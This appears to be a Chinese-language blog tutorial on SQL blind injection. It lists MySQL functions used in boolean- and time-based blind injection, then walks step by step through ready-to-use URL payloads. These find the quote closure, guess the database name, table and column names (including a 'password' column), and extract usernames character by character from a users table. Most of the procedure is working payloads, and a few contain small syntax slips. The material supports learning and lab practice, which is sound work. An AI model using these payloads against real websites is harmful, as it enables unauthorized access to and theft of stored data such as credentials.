【❤作者简介:研究生在读 IT女; 如果文章有错请指正,让我们一起学习,天天向上,一起进步! 如果对你有帮助,还请点赞收藏哦~❤】
SQL盲注基本常用SQL函数
SQL盲注
是一种常见的SQL注入漏洞,攻击者可以操纵SQL语句,应用会针对真假条件返回不同的值。但是攻击者无法检索查询结果。分为:1.基于
布尔
的盲注2.基于
时间
的盲注。
1,
sleep(n)
:延时n秒。
2,
if(a,b,c)
:a为条件,正确返回b,否则返回c。
3,
mid(column_name,start[,length])
:用于从文本字段中提取字符。从位置start开始,截取column_name字符串的length位。column_name:必需。要提取字符的字段。start:必需。规定开始位置(起始值是 1)。length:可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
具体使用和例子见这里
4,
substr(str,pos,len)
: 从pos位置开始,截取字符串str的len长度。str:指定字符串。pos:规定字符串从何处开始,(这里的第一个位置是
从1开始而不是0
)为正数时则从字段开始出开始,为负数则从结尾出开始。len:要截取字符串的长度,可选,若未写则一直截到最后。
例子1
和
例子2
5,
length(str)
: 返回字符串str的长度。
6,
ascii()
: 将某个字符转换为ascii值。
7,
char()
: 将ASCII码转换为对应的字符。
8,
count()
:统计查询结果的数量。
9,
limit
用于限制查询结果返回的数量,常用于分页查询。(eg:
select * from tableName limit i,n
tableName:表名,i:为查询结果的索引值(默认
从0开始
),当i=0时可省略i, n:为查询结果返回的数量, i与n之间使用英文逗号”,”隔开.
limit n
等同于
limit 0,n
)。
10,
union
:UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
11,
regexp
运算符,是
正则表达式
(regular expression)的缩写.正则表达式不懂建议百度。
12,
select a from b (where c条件)
:在c条件从b中选取a,eg:(1)
select username from security.users limit 0,1
:从security数据库的users表中选取username这一字段(列),并且限制从0开始返回1条记录(2)
select column_name from information _schema.columns where table_name='users' limit 0,1
从数据库模式表information _schema.columns且表名为users的列名中从0开始返回1条列名。
SQL盲注基本常用SQL语句
【写在前面:手工注入过程很是繁琐,可以用
二分法
提高效率】
常见语句
select left(database(),1)=‘s’;前1位是否是s
select database() regexp ‘s’; 匹配第一个字符是否是s
select database() like ‘s%’; 匹配是否是以s开头
select substr((select database()),1,1)=‘s’; 匹配第一个字符是否是s
select substr((select database()),1,3)=‘sec’; 匹配前3个字符是否是sec
select ascii(substr((select database()),1,1)); 直接回显115 或者是空:
select ascii(substr(select database()),1,1))>110; 如果大于100,就返回1,否中返回0
注入过程
大致过程就4个步骤:
1.判断闭合条件 2.猜数据名长度和名字 3.猜表名长度和名字 4.猜字段长度和名字 5.猜数值长度和名字
1,
判断闭合条件
?id=1' and sleep(5)--+
可以用来
判断闭合
是
'
还是
"
,如果是’则延时注入5秒。(
-- +
or
-- ss
注释后面内容)
以下假设闭合为
'
2,
猜数据库名长度
。
?id=1' and length(database())=n -- ss
布尔盲注:判断数据库名长度是否为n
?id=1' and if(length(database())=x,sleep(5),1)--+
时间盲注:如果数据库名的长度为x的话,延时5秒。
?id=1' and if (length(database())>6 ,sleep(5),1)
时间盲注:如果数据库的长度>6的话,延时5秒。
3,
猜数据名
。
?id=1' and ascii(substr(database(),1,1))>97-- ss
布尔盲注:判断数据库名第1位字符(从0开始数)的ASCII是否大于97
?id=1' and if(ascii(substr(database(),n,1))=115,sleep(5),1)--+
时间盲注:组合起来的意思就是如果从第n位复制数据库名1位的字符的asclii码等于115的则延时5秒。作用就是判断数据库名的第n位asclii是不是=115。当然你可以设置取数据库名第几位,是否asclii大于几小于几从而得到数据库名。
?id=1' and sleep(if((mid(database(),1,1)='s'),5,1)) --+
时间盲注: 判断数据库名第一位是否为‘s’,如果是‘s’则延时5秒,否则延时1秒。
4,
猜表的数量
?id=1' and (select count (table_name) from information_schema.tables where table_schema=database())=n-- ss
判断数据库表的数量是否为n。
5,
猜表长
:
?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,sleep(5),1) --+
时间盲注:如果数据库中第x个表的长度小于y则延时5秒。
6,
猜表名
:
?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9-- ss
猜第一个表名的长度是否为9。
?id=1' and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u'),5,0)) --+
时间盲注:如果数据库中的第3个表的第一位字符为‘u’则延时5秒,否则不延时。
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)--+
时间盲注:如果数据库中第一个表的第一个字符的ascii为101则延时5秒,否则不延时。
7,
猜字段名
假设你已经知道一个表的表名叫user了:
?id=1' and if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+
时间盲注:如果user表的第一列的列名的第一位字符的ASCII=105则延时5秒,否则延时1秒。
?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),1,8)='password',sleep(5),1)-- -
这句话有点长,它的意思是,从security数据库中的users表选取第二列(limit函数默认从0开始)的1-8位字符是否为‘password’,如果是则sleep(5)。可以用来判断users表的第三列名是否为‘password’。
8,猜数值
?id=1' and if(ascii(substr((select username from users limit 0,1), 1,1))=68,sleep(5),1)--+
从users表里选择username这一列记录的第0位字符的ASCII码值是否为68,条件为真则sleep 5秒。